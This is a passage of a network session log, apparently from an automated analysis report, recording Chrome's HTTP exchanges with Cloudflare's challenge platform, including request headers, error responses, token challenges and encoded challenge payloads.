VhOU1hTVnaJZ3aEZ21LWkeKcYZzc2KFcpOcml1vh2mJgnuBcXh3Ypx1dHaofquknmqqoW+joqqDd7CUkJi/tL6Yn7+OoJOatcG1mpyKm8LAiZyTrbTJ0qWamaXI2betnaDSwrznpcOi3MXnyuDn2qfx4c7u97Lx9fm4vMfX9frRBLn3vNvU1/74ww3pEAntBdvO4c/39dgSBez32/0fE9Me4eMmJQcJJSUlFQYfJzIsG/AxKBMtCRITLzknPxAU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50058	104.18.95.41	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:26:27 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/2083360754:1738257177:_AcCsPlYk05IoUBDh1nHFkQSrBzJqWxJyisqL912d74/90a38299fd108c5d/9_ef1bsav0HAQER.JKQz6mWAWX0fqfJMZ5UBZf6svQ0-1738261584-1.1.1.1-6seam92rOsj.fbnJiQ_p0Y_LQPEb2BxrnwdlVtxSc2ZqLf3t8hBjhyRAZoSQdX7v HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:26:27 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Thu, 30 Jan 2025 18:26:27 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: G3gzjGg9cZujvDYxq4DNx4yUuDx2mi7tC+lIy2W0thNi13L06frrVNmTnJxXP5hTXGu5i6KFANrb4b6LWIYg8g==$VNTCQOa1xak5+dhgmZCC8w== Server: cloudflare CF-RAY: 90a382ab382e8c2d-EWR alt-svc: h3=":443"; ma=86400
2025-01-30 18:26:27 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50059	104.18.94.41	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:26:28 UTC	824	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/90a38299fd108c5d/1738261586757/2078bbe945e4e7f631524f343043bac1a6df08daf8f584118bd9c57319b0af2c/6ncRj_krszpg3Gx HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/569jv/0x4AAAAAAA6BeftGM8IqIoFc/auto/fbE/auto_timeout/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:26:28 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Thu, 30 Jan 2025 18:26:28 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-01-30 18:26:28 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 49 48 69 37 36 55 58 6b 35 5f 59 78 55 6b 38 30 4d 45 4f 36 77 61 62 66 43 4e 72 34 39 59 51 52 69 39 6e 46 63 78 6d 77 72 79 77 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gIHi76UXk5_YxUk80MEO6wabfCNr49YQRi9nFcxmwrywAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-01-30 18:26:28 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50060	104.18.94.41	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:26:29 UTC	795	OUT	GET /cdn-cgi/challenge-platform/h/b/d/90a38299fd108c5d/1738261586764/rk2-b3QjAiDFIbt HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/569jv/0x4AAAAAAA6BeftGM8IqIoFc/auto/fbE/auto_timeout/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:26:29 UTC	200	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:26:29 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 90a382b7cce44304-EWR alt-svc: h3=":443"; ma=86400
2025-01-30 18:26:29 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1c 00 00 00 27 08 02 00 00 00 93 d2 bf ad 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR'IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50061	104.18.95.41	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:26:30 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/d/90a38299fd108c5d/1738261586764/rk2-b3QjAiDFIbt HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:26:30 UTC	200	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:26:30 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 90a382bbdce7443e-EWR alt-svc: h3=":443"; ma=86400
2025-01-30 18:26:30 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1c 00 00 00 27 08 02 00 00 00 93 d2 bf ad 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR'IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50062	104.18.94.41	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:26:30 UTC	1160	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/2083360754:1738257177:_AcCsPlYk05IoUBDh1nHFkQSrBzJqWxJyisqL912d74/90a38299fd108c5d/9_ef1bsav0HAQER.JKQz6mWAWX0fqfJMZ5UBZf6svQ0-1738261584-1.1.1.1-6seam92rOsj.fbnJiQ_p0Y_LQPEb2BxrnwdlVtxSc2ZqLf3t8hBjhyRAZoSQdX7v HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 35244 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: text/plain;charset=UTF-8 cf-chl: 9_ef1bsav0HAQER.JKQz6mWAWX0fqfJMZ5UBZf6svQ0-1738261584-1.1.1.1-6seam92rOsj.fbnJiQ_p0Y_LQPEb2BxrnwdlVtxSc2ZqLf3t8hBjhyRAZoSQdX7v cf-chl-ra: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/569jv/0x4AAAAAAA6BeftGM8IqIoFc/auto/fbE/auto_timeout/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:26:30 UTC	16384	OUT	Data Raw: 76 33 53 46 31 50 5a 30 65 52 53 5a 33 4e 36 52 69 74 65 46 53 53 4e 44 59 68 49 54 49 30 46 72 65 49 61 49 53 46 4e 6c 52 59 36 77 49 31 46 44 54 74 49 41 53 49 76 50 49 4a 53 53 50 55 49 7a 46 42 74 49 4e 76 49 52 35 49 77 6d 6f 74 74 49 61 4f 53 49 55 49 69 31 4c 68 49 6f 46 50 36 49 54 46 69 6b 24 6b 44 49 59 74 7a 54 49 53 65 49 73 49 4e 4a 33 49 71 69 49 59 44 54 47 49 5a 30 4b 78 49 4e 34 55 65 65 74 51 49 59 41 53 72 6e 4a 33 49 72 41 72 77 24 73 35 56 73 4d 4f 4a 65 6f 35 49 50 41 4d 33 51 71 4c 49 5a 42 4f 62 52 4e 39 31 24 73 32 39 50 65 49 79 57 42 61 73 72 7a 49 59 46 50 4e 66 6e 42 44 49 38 53 49 51 57 47 32 74 2b 57 36 56 66 2d 69 49 42 77 68 69 2d 58 45 79 74 75 76 72 47 24 4f 46 68 58 46 48 68 72 33 47 41 75 59 46 30 4c 4f 45 68 75 31 36 Data Ascii: v3SF1PZ0eRSZ3N6RiteFSSNDYhITI0FreIaISFNlRY6wI1FDTtIASIvPIJSSPUIzFBtINvIR5IwmottIaOSIUIi1LhIoFP6ITFik$kDIYtzTISeIsINJ3IqiIYDTGIZ0KxIN4UeetQIYASrnJ3IrArw$s5VsMOJeo5IPAM3QqLIZBObRN91$s29PeIyWBasrzIYFPNfnBDI8SIQWG2t+W6Vf-iIBwhi-XEytuvrG$OFhXFHhr3GAuYF0LOEhu16
2025-01-30 18:26:30 UTC	16384	OUT	Data Raw: 74 49 4f 49 69 49 4e 46 49 7a 49 72 49 38 66 5a 41 49 44 53 42 5a 66 54 50 44 53 50 6b 5a 32 49 59 68 50 6b 50 43 4a 38 49 49 53 59 43 49 53 49 72 53 5a 70 66 6c 49 73 53 50 4a 49 61 46 72 7a 59 34 49 55 46 73 65 5a 46 49 78 58 50 74 49 6e 49 37 46 71 74 50 24 44 51 32 38 46 50 58 58 4f 49 4c 32 59 39 6e 65 72 6b 58 61 55 49 77 49 69 6b 59 74 49 5a 7a 71 53 49 7a 49 37 65 59 43 66 45 49 4d 66 57 53 50 39 49 2b 49 5a 7a 49 41 49 2d 46 50 42 4a 70 32 47 50 4d 32 5a 34 49 56 7a 4a 66 50 74 49 4b 46 53 66 50 52 49 30 46 69 66 49 49 49 6e 70 7a 5a 5a 49 44 49 38 46 59 4e 49 61 49 38 7a 50 68 5a 61 65 4e 49 50 56 49 2d 30 44 74 5a 6e 49 6f 49 5a 7a 50 52 49 64 49 4a 66 5a 36 66 50 64 57 52 59 58 5a 2b 49 74 33 59 32 5a 31 49 30 7a 71 35 49 70 49 66 7a 52 30 5a Data Ascii: tIOIiINFIzIrI8fZAIDSBZfTPDSPkZ2IYhPkPCJ8IISYCISIrSZpflIsSPJIaFrzY4IUFseZFIxXPtInI7FqtP$DQ28FPXXOIL2Y9nerkXaUIwIikYtIZzqSIzI7eYCfEIMfWSP9I+IZzIAI-FPBJp2GPM2Z4IVzJfPtIKFSfPRI0FifIIInpzZZIDI8FYNIaI8zPhZaeNIPVI-0DtZnIoIZzPRIdIJfZ6fPdWRYXZ+It3Y2Z1I0zq5IpIfzR0Z
2025-01-30 18:26:30 UTC	2476	OUT	Data Raw: 46 46 73 66 49 67 77 34 4a 64 58 59 57 49 4a 2d 37 65 49 36 6a 68 68 6f 32 39 6c 78 4a 75 65 45 67 6c 49 57 42 4c 74 52 6a 57 6a 61 4c 68 2d 57 66 49 54 30 33 47 53 49 48 6e 66 5a 57 4b 31 30 46 69 4d 72 42 2b 6e 6a 36 2d 2d 4a 69 61 49 72 38 6e 51 74 34 6f 50 4d 5a 52 55 5a 7a 73 74 5a 2d 7a 77 66 52 6a 66 4a 49 42 37 79 6b 2d 45 42 75 39 43 4f 6e 75 49 78 42 75 70 6a 61 65 51 78 43 66 5a 57 66 79 75 30 35 2d 50 47 35 46 2d 37 67 53 49 57 34 6c 69 39 39 49 47 37 6a 34 39 32 49 69 51 61 57 30 4f 46 6c 39 64 58 49 45 49 30 45 41 24 30 37 79 6e 2b 48 5a 57 31 46 55 49 71 53 50 38 31 41 46 44 52 6b 34 4b 77 74 62 65 5a 24 46 54 42 48 46 50 76 46 62 50 67 52 58 51 49 69 66 38 32 4b 5a 49 4e 46 5a 4b 54 53 49 50 49 42 4a 49 34 49 58 68 73 66 50 2b 65 6a 34 58 Data Ascii: FFsfIgw4JdXYWIJ-7eI6jhho29lxJueEglIWBLtRjWjaLh-WfIT03GSIHnfZWK10FiMrB+nj6--JiaIr8nQt4oPMZRUZzstZ-zwfRjfJIB7yk-EBu9COnuIxBupjaeQxCfZWfyu05-PG5F-7gSIW4li99IG7j492IiQaW0OFl9dXIEI0EA$07yn+HZW1FUIqSP81AFDRk4KwtbeZ$FTBHFPvFbPgRXQIif82KZINFZKTSIPIBJI4IXhsfP+ej4X
2025-01-30 18:26:30 UTC	322	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:26:30 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 27952 Connection: close cf-chl-gen: CYN0uweCJuV2jyN3aTfZ1xqjH4xeUgQMN72Y5dSu74Ta3KIrARKzY46x4eA41WCa$5Jexnd6gI/tWCvmx6kPLTQ== Server: cloudflare CF-RAY: 90a382bdcd924288-EWR alt-svc: h3=":443"; ma=86400
2025-01-30 18:26:30 UTC	1047	IN	Data Raw: 5a 30 32 44 66 6e 4b 4b 6b 6e 53 4c 61 5a 4a 32 69 46 61 56 6b 47 74 79 65 34 47 43 6d 46 36 46 68 70 31 2f 6f 49 6d 68 6a 36 69 5a 61 32 69 51 71 59 36 76 70 4c 53 7a 68 5a 68 30 6b 62 69 33 6b 5a 33 44 6e 4a 50 46 70 71 2b 63 6b 37 69 35 6e 61 65 41 68 5a 79 4a 6a 4c 79 4b 69 38 79 6b 70 4d 66 50 30 35 69 59 33 4c 57 64 74 38 2f 55 6e 71 4b 6b 6e 63 53 79 6f 39 58 49 75 73 50 42 79 64 6e 71 32 2f 58 42 73 39 44 75 37 36 7a 47 75 73 69 77 31 62 72 65 2b 74 66 30 35 4d 50 31 2b 2f 49 47 42 4f 76 56 44 2b 58 72 33 2b 62 54 39 66 44 72 38 42 4c 76 31 42 6a 30 44 52 37 71 47 66 62 73 39 65 4c 39 39 78 77 62 2f 65 67 4a 4a 2f 67 62 37 43 2f 77 42 66 4d 7a 43 67 34 78 4f 50 67 73 45 67 76 33 42 78 41 5a 48 43 41 57 47 45 45 34 47 78 6b 62 2f 44 51 4c 44 69 34 Data Ascii: Z02DfnKKknSLaZJ2iFaVkGtye4GCmF6Fhp1/oImhj6iZa2iQqY6vpLSzhZh0kbi3kZ3DnJPFpq+ck7i5naeAhZyJjLyKi8ykpMfP05iY3LWdt8/UnqKkncSyo9XIusPBydnq2/XBs9Du76zGusiw1bre+tf05MP1+/IGBOvVD+Xr3+bT9fDr8BLv1Bj0DR7qGfbs9eL99xwb/egJJ/gb7C/wBfMzCg4xOPgsEgv3BxAZHCAWGEE4Gxkb/DQLDi4
2025-01-30 18:26:30 UTC	1369	IN	Data Raw: 42 6b 31 69 47 59 48 61 4b 68 70 2b 58 5a 4a 31 74 69 4b 32 67 63 48 32 54 6f 4c 53 7a 72 34 2b 47 6c 61 39 34 6a 59 32 62 6f 33 36 52 73 4a 2b 47 75 37 6d 64 6c 70 33 48 6f 73 47 74 79 36 6a 44 30 4b 66 46 77 70 47 6d 6b 35 61 36 6c 37 37 4f 30 4a 2f 4f 32 4e 7a 64 78 36 4c 43 34 63 75 6a 76 75 7a 58 7a 38 62 71 30 2b 75 78 36 73 6a 72 36 4d 6e 7a 35 39 72 54 38 66 6a 50 2f 76 33 36 30 2f 44 2b 78 41 62 36 41 76 58 38 44 4d 33 69 2b 64 49 50 45 4f 55 58 47 51 4c 59 36 50 6f 49 46 4f 2f 73 36 4f 44 39 37 52 4d 5a 34 50 77 48 4a 78 38 57 46 75 4d 4c 42 6a 45 45 4a 43 38 55 42 67 59 6e 42 7a 6b 38 4a 44 49 4c 4d 53 6f 53 2b 44 59 74 48 53 38 45 45 79 5a 4c 4f 42 6c 4d 46 69 77 62 54 68 45 75 55 6b 59 7a 4f 43 56 58 56 53 77 79 4c 44 42 4c 55 30 73 77 4d 7a Data Ascii: Bk1iGYHaKhp+XZJ1tiK2gcH2ToLSzr4+Gla94jY2bo36RsJ+Gu7mdlp3HosGty6jD0KfFwpGmk5a6l77O0J/O2Nzdx6LC4cujvuzXz8bq0+ux6sjr6Mnz59rT8fjP/v360/D+xAb6AvX8DM3i+dIPEOUXGQLY6PoIFO/s6OD97RMZ4PwHJx8WFuMLBjEEJC8UBgYnBzk8JDILMSoS+DYtHS8EEyZLOBlMFiwbThEuUkYzOCVXVSwyLDBLU0swMz
2025-01-30 18:26:30 UTC	1369	IN	Data Raw: 59 58 74 35 6e 33 39 72 71 6f 2b 77 66 34 4b 78 6c 33 65 78 6d 61 69 54 69 37 61 65 69 70 32 6a 6a 4a 79 6b 78 4c 72 48 70 4c 6e 4a 6f 5a 6a 41 6a 73 6d 36 71 4d 6e 56 70 64 57 51 77 38 69 6f 74 63 36 34 30 74 48 4f 31 74 65 64 30 4c 43 68 33 4f 53 30 31 36 66 70 78 4f 2f 63 75 65 6a 65 73 71 33 65 79 50 62 79 39 73 66 78 39 4e 69 33 2b 63 33 78 2b 64 66 44 76 4c 2f 78 32 64 34 43 39 63 66 4e 78 2b 50 6a 79 2b 7a 77 36 2b 50 72 7a 78 6b 48 36 4f 34 4f 45 52 44 7a 49 67 37 62 33 78 45 55 47 68 50 69 46 2b 4d 6b 46 52 38 69 4a 42 6f 63 36 78 7a 74 4a 69 72 78 4e 69 58 7a 45 42 4c 39 2b 43 67 4d 51 41 4a 46 50 44 77 79 41 76 6f 59 43 51 51 69 49 77 39 4c 47 7a 4e 4b 45 53 49 49 46 30 68 50 57 67 31 55 4b 42 64 4f 45 68 4d 35 46 55 77 30 58 56 59 2b 4a 6c 67 Data Ascii: YXt5n39rqo+wf4Kxl3exmaiTi7aeip2jjJykxLrHpLnJoZjAjsm6qMnVpdWQw8iotc640tHO1ted0LCh3OS016fpxO/cuejesq3eyPby9sfx9Ni3+c3x+dfDvL/x2d4C9cfNx+Pjy+zw6+PrzxkH6O4OERDzIg7b3xEUGhPiF+MkFR8iJBoc6xztJirxNiXzEBL9+CgMQAJFPDwyAvoYCQQiIw9LGzNKESIIF0hPWg1UKBdOEhM5FUw0XVY+Jlg
2025-01-30 18:26:30 UTC	1369	IN	Data Raw: 6f 2b 75 63 59 46 31 72 34 65 4c 6a 4b 5a 75 6a 48 52 38 69 35 53 58 6d 4d 53 54 68 70 6d 66 6d 5a 57 58 6e 4a 32 2f 70 70 44 44 6f 35 47 67 6e 63 2b 73 74 72 69 51 31 4e 65 58 7a 4b 71 37 6f 4a 69 68 33 62 50 55 36 4d 6d 32 6f 4c 37 68 77 74 7a 67 32 39 48 43 76 76 47 73 35 63 66 51 38 50 75 37 31 39 43 37 79 41 44 34 34 67 54 6a 42 2b 54 2b 2b 39 7a 46 35 4e 6f 47 34 67 50 77 79 50 30 45 7a 2b 77 4e 30 78 4c 79 46 77 38 52 47 39 62 70 31 76 6b 66 32 76 34 67 33 69 67 45 42 53 66 68 4c 41 67 4e 42 65 63 75 45 42 55 56 4a 51 4d 4e 4f 51 63 36 46 41 2f 30 50 41 39 41 4e 7a 4d 7a 50 78 6f 32 4f 55 4d 48 4e 7a 6f 4b 42 45 30 39 44 52 6f 7a 50 56 4a 41 4f 43 74 48 45 56 49 74 58 42 6b 5a 4c 54 35 5a 51 42 6f 33 4e 32 41 66 4e 6c 31 47 4c 47 6c 6e 62 7a 78 62 Data Ascii: o+ucYF1r4eLjKZujHR8i5SXmMSThpmfmZWXnJ2/ppDDo5Ggnc+striQ1NeXzKq7oJih3bPU6Mm2oL7hwtzg29HCvvGs5cfQ8Pu719C7yAD44gTjB+T++9zF5NoG4gPwyP0Ez+wN0xLyFw8RG9bp1vkf2v4g3igEBSfhLAgNBecuEBUVJQMNOQc6FA/0PA9ANzMzPxo2OUMHNzoKBE09DRozPVJAOCtHEVItXBkZLT5ZQBo3N2AfNl1GLGlnbzxb
2025-01-30 18:26:30 UTC	1369	IN	Data Raw: 53 44 74 58 56 38 66 5a 53 4c 6d 49 71 39 6c 35 31 33 6e 48 36 48 6b 63 57 32 69 37 37 46 71 70 36 48 6a 36 71 4d 7a 61 61 79 74 61 62 50 75 37 6a 48 33 39 72 53 30 4b 33 42 73 4c 75 33 6e 38 6e 53 34 36 76 6e 71 72 36 33 36 73 44 6b 73 63 65 6e 36 4d 62 30 37 66 4f 30 30 63 33 39 30 74 76 79 31 50 73 45 41 66 69 35 36 4e 49 48 38 2b 6e 4a 42 67 62 4c 35 4f 6f 4b 35 39 33 52 38 68 4d 59 2b 2b 58 6d 33 42 67 4a 39 78 49 6a 34 2f 54 32 33 76 30 6c 2f 50 66 70 42 42 38 71 2f 51 45 63 4d 51 73 66 4c 77 30 34 47 67 30 30 4a 54 4d 48 2f 44 49 51 50 52 7a 35 4e 67 46 44 46 7a 6b 39 45 30 67 39 53 43 30 66 4b 6b 55 37 45 45 51 66 49 79 78 5a 47 68 55 6e 50 56 6c 4e 53 54 31 4e 4e 7a 5a 65 55 6c 51 6a 4f 55 46 59 51 7a 78 4d 54 57 4e 73 53 57 45 75 50 6a 55 2f 51 Data Ascii: SDtXV8fZSLmIq9l513nH6HkcW2i77Fqp6Hj6qMzaaytabPu7jH39rS0K3BsLu3n8nS46vnqr636sDkscen6Mb07fO00c390tvy1PsEAfi56NIH8+nJBgbL5OoK593R8hMY++Xm3BgJ9xIj4/T23v0l/PfpBB8q/QEcMQsfLw04Gg00JTMH/DIQPRz5NgFDFzk9E0g9SC0fKkU7EEQfIyxZGhUnPVlNST1NNzZeUlQjOUFYQzxMTWNsSWEuPjU/Q
2025-01-30 18:26:30 UTC	1369	IN	Data Raw: 71 72 62 6d 59 78 48 39 2f 6f 71 43 48 76 4c 2b 30 6f 4b 4f 67 6d 37 7a 53 76 70 47 2b 6a 38 61 54 30 35 66 51 6d 64 69 58 78 72 61 34 73 4b 44 43 76 36 43 6a 6f 36 48 64 32 37 62 49 70 63 72 50 78 38 62 62 7a 36 79 2f 36 4d 48 4b 35 65 72 6a 38 36 2f 79 38 75 48 58 77 66 6e 66 31 4e 61 2b 38 75 50 6b 44 51 66 36 35 4d 37 67 34 74 49 51 30 4f 6a 6e 7a 67 54 34 37 64 62 58 37 74 33 31 2b 52 2f 66 33 75 30 63 48 66 37 38 2b 75 54 32 48 68 67 62 2b 53 45 70 46 42 51 54 38 69 6b 5a 42 51 67 7a 42 43 2f 35 50 44 48 33 38 78 77 43 4a 43 34 46 52 6b 45 79 47 6b 49 32 47 42 31 52 50 45 49 52 49 55 42 53 46 43 77 34 54 55 51 79 56 46 6c 48 53 44 68 69 4c 6a 64 57 55 43 5a 48 49 47 6c 6e 56 32 77 74 58 6b 4e 74 54 47 56 69 55 32 39 42 51 32 6b 77 52 30 63 31 62 48 Data Ascii: qrbmYxH9/oqCHvL+0oKOgm7zSvpG+j8aT05fQmdiXxra4sKDCv6Cjo6Hd27bIpcrPx8bbz6y/6MHK5erj86/y8uHXwfnf1Na+8uPkDQf65M7g4tIQ0OjnzgT47dbX7t31+R/f3u0cHf78+uT2Hhgb+SEpFBQT8ikZBQgzBC/5PDH38xwCJC4FRkEyGkI2GB1RPEIRIUBSFCw4TUQyVFlHSDhiLjdWUCZHIGlnV2wtXkNtTGViU29BQ2kwR0c1bH
2025-01-30 18:26:30 UTC	1369	IN	Data Raw: 6d 58 6d 67 76 35 65 56 6c 62 61 4e 6d 71 6a 44 6e 71 44 43 6c 4b 4f 6b 6b 4b 47 57 74 63 37 51 74 72 69 33 6e 62 61 2f 76 4d 57 6c 77 63 54 42 6f 4d 58 65 79 72 6e 49 75 4e 4c 53 75 2b 65 73 77 39 53 76 39 37 72 58 30 37 6e 73 79 39 2f 72 31 38 37 63 76 4e 72 53 42 2f 76 69 31 66 72 49 37 4e 66 2b 79 50 44 67 37 66 48 6f 34 51 63 55 37 4f 55 4c 31 4f 6a 71 48 39 7a 30 38 50 7a 6b 2f 76 49 6e 49 50 33 32 42 66 30 47 2f 41 72 35 43 50 34 6a 38 42 51 43 45 54 51 53 42 43 77 61 45 77 73 61 48 69 45 4f 51 2f 77 62 45 30 63 61 49 42 59 6c 43 53 30 64 4b 55 77 70 49 53 34 79 4c 69 42 49 49 69 30 6d 4e 52 30 7a 4b 31 39 55 4e 69 35 55 52 6a 45 30 4d 6b 6f 2b 4e 31 74 6f 51 7a 74 77 4f 6b 73 2f 54 55 5a 4f 51 30 4a 43 54 55 64 38 58 6c 52 4c 63 47 4a 5a 54 48 4e Data Ascii: mXmgv5eVlbaNmqjDnqDClKOkkKGWtc7Qtri3nba/vMWlwcTBoMXeyrnIuNLSu+esw9Sv97rX07nsy9/r187cvNrSB/vi1frI7Nf+yPDg7fHo4QcU7OUL1OjqH9z08Pzk/vInIP32Bf0G/Ar5CP4j8BQCETQSBCwaEwsaHiEOQ/wbE0caIBYlCS0dKUwpIS4yLiBIIi0mNR0zK19UNi5URjE0Mko+N1toQztwOks/TUZOQ0JCTUd8XlRLcGJZTHN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50063	104.18.95.41	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:26:31 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/2083360754:1738257177:_AcCsPlYk05IoUBDh1nHFkQSrBzJqWxJyisqL912d74/90a38299fd108c5d/9_ef1bsav0HAQER.JKQz6mWAWX0fqfJMZ5UBZf6svQ0-1738261584-1.1.1.1-6seam92rOsj.fbnJiQ_p0Y_LQPEb2BxrnwdlVtxSc2ZqLf3t8hBjhyRAZoSQdX7v HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:26:31 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Thu, 30 Jan 2025 18:26:31 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: DJMUTcvUEWmisqQgrJOBdTXw8zp8Ns6VTDw4YLNOVjhRMwfWmu0p3mD6eQ3etO3kHn+pXCnueiLZtXOl0lIAoA==$C1LP/MFNDbENCq7AaELMEA== Server: cloudflare CF-RAY: 90a382c35c218cc5-EWR alt-svc: h3=":443"; ma=86400
2025-01-30 18:26:31 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
